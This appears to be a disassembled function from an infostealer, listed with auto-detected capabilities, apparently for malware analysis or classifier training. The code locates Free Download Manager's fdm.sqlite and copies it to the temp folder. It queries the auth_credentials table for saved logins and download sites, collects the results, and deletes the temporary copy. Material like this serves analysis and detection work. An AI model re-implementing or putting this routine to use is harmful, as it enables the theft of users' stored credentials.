Function at 0x41bf15
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1f84
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, esp
mov dword [esp + 0x1f80], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x17bb]
push esi
push edi
mov esi, str.fdm.sqlite
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x17b8]
push 0x3dd
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
lea edi, [esp + 0x13d0]
mov esi, str.Free_Download_Manager_fdm.sqlite
lea eax, [esp + 0x13f2]
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3c6
movsw word es:[edi], word [esi]
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], esi
lea edi, [esp + 0x430]
mov esi, str.select__from_auth_credentials_
lea eax, [esp + 0x450]
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3c8
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41c038
lea eax, [esp + 0x1ba0]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x41c01f
lea eax, [esp + 0x13d0]
mov ebx, 0x3e8
push eax
lea eax, [esp + 0x1ba4]
push eax
push str._s_s
lea eax, [esp + 0x54]
push ebx
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [esp + 0x48]
call fcn.00405670
test eax, eax
jne 0x41c056
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [esp + 0x1f8c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.006122f0
mov esp, ebp
pop ebp
ret 4
push str.fdm.sqlite
push ebx
push 0x6c643c
mov ebx, 0x3e8
lea eax, [esp + 0x54]
push ebx
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [esp + 0x818]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x17b8]
push eax
lea eax, [esp + 0x81c]
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [esp + 0x818]
push esi
push eax
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x41c0a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x48]
jmp 0x41c0a9
lea ecx, [esp + 0x818]
push esi
push 1
lea edx, [esp + 0x18]
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x41c01f
lea eax, [esp + 0x430]
push eax
call fcn.00643470
pop ecx
push esi
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x438]
push esi
push 0x80
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x41c01f
mov edi, dword [esp + 0xc]
test edi, edi
je 0x41c01f
push edi
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x41c197
mov ebx, dword [esp + 0x18]
cmp eax, 0x64
jne 0x41c192
push esi
push edi
call fcn.004728b2
push eax
lea eax, [esp + 0xff4]
push 0x400
push eax
call fcn.006494f3
add esp, 0x14
push 2
push edi
call fcn.004728b2
push 3
push edi
mov esi, eax
call fcn.004728b2
add esp, 0xc
lea edx, [esp + 0xc04]
mov ecx, eax
call fcn.004020b3
pop ecx
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [esp + 0xc04]
push ecx
push eax
push esi
lea eax, [esp + 0xff8]
push eax
push ecx
push 0x85
push 5
mov ecx, ebx
call fcn.0043ee6b
push edi
call fcn.0047234d
pop ecx
push 0
pop esi
cmp eax, 0x65
jne 0x41c115
mov ebx, 0x3e8
mov esi, dword [edi]
mov ecx, edi
call fcn.00471953
test eax, eax
je 0x41c1b0
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x41c20b
cmp dword [esi + 0xc], 0
je 0x41c1c0
push dword [esi + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [edi + 0x8c], 0
jl 0x41c1dd
jg 0x41c1d4
cmp dword [edi + 0x88], 0
jbe 0x41c1dd
mov edx, edi
mov ecx, esi
call fcn.00471970
mov ecx, edi
call fcn.0047035b
mov ecx, edi
mov dword [esp + 0x14], eax
call fcn.004704f6
cmp byte [esi + 0x57], 0
mov edx, dword [esp + 0x14]
jne 0x41c1fd
test edx, edx
je 0x41c204
mov ecx, esi
call fcn.00451a83
mov ecx, esi
call fcn.004be94a
push 0xa
pop ecx
mov esi, str.select__from_auth_credentials_downloads_
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x430]
push eax
movsw word es:[edi], word [esi]
call fcn.00643470
pop ecx
push 0
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x24]
push 0
push 0x80
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x41c01f
mov edi, dword [esp + 0xc]
test edi, edi
je 0x41c01f
push str.Download_Site
lea eax, [esp + 0xfec]
push ebx
push eax
call fcn.006494f3
add esp, 0xc
jmp 0x41c2c7
cmp eax, 0x64
jne 0x41c2d3
push 1
push edi
call fcn.004728b2
push 2
push edi
mov esi, eax
call fcn.004728b2
add esp, 0xc
lea edx, [esp + 0xc04]
mov ecx, eax
call fcn.004020b3
pop ecx
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [esp + 0xc04]
push ecx
push eax
push esi
lea eax, [esp + 0xff8]
push eax
push ecx
mov ecx, dword [esp + 0x30]
push 0x85
push 5
call fcn.0043ee6b
push edi
call fcn.0047234d
pop ecx
cmp eax, 0x65
jne 0x41c274
mov esi, dword [edi]
mov ecx, edi
call fcn.00471953
test eax, eax
je 0x41c2ec
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x41c343
cmp dword [esi + 0xc], 0
je 0x41c2fc
push dword [esi + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [edi + 0x8c], 0
jl 0x41c319
jg 0x41c310
cmp dword [edi + 0x88], 0
jbe 0x41c319
mov edx, edi
mov ecx, esi
call fcn.00471970
mov ecx, edi
call fcn.0047035b
mov ecx, edi
mov ebx, eax
call fcn.004704f6
cmp byte [esi + 0x57], 0
jne 0x41c333
test ebx, ebx
je 0x41c33c
mov edx, ebx
mov ecx, esi
call fcn.00451a83
mov ecx, esi
call fcn.004be94a
mov ecx, dword [esp + 0x10]
xor edx, edx
call fcn.004be7da
lea ecx, [esp + 0x818]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
jmp 0x41c021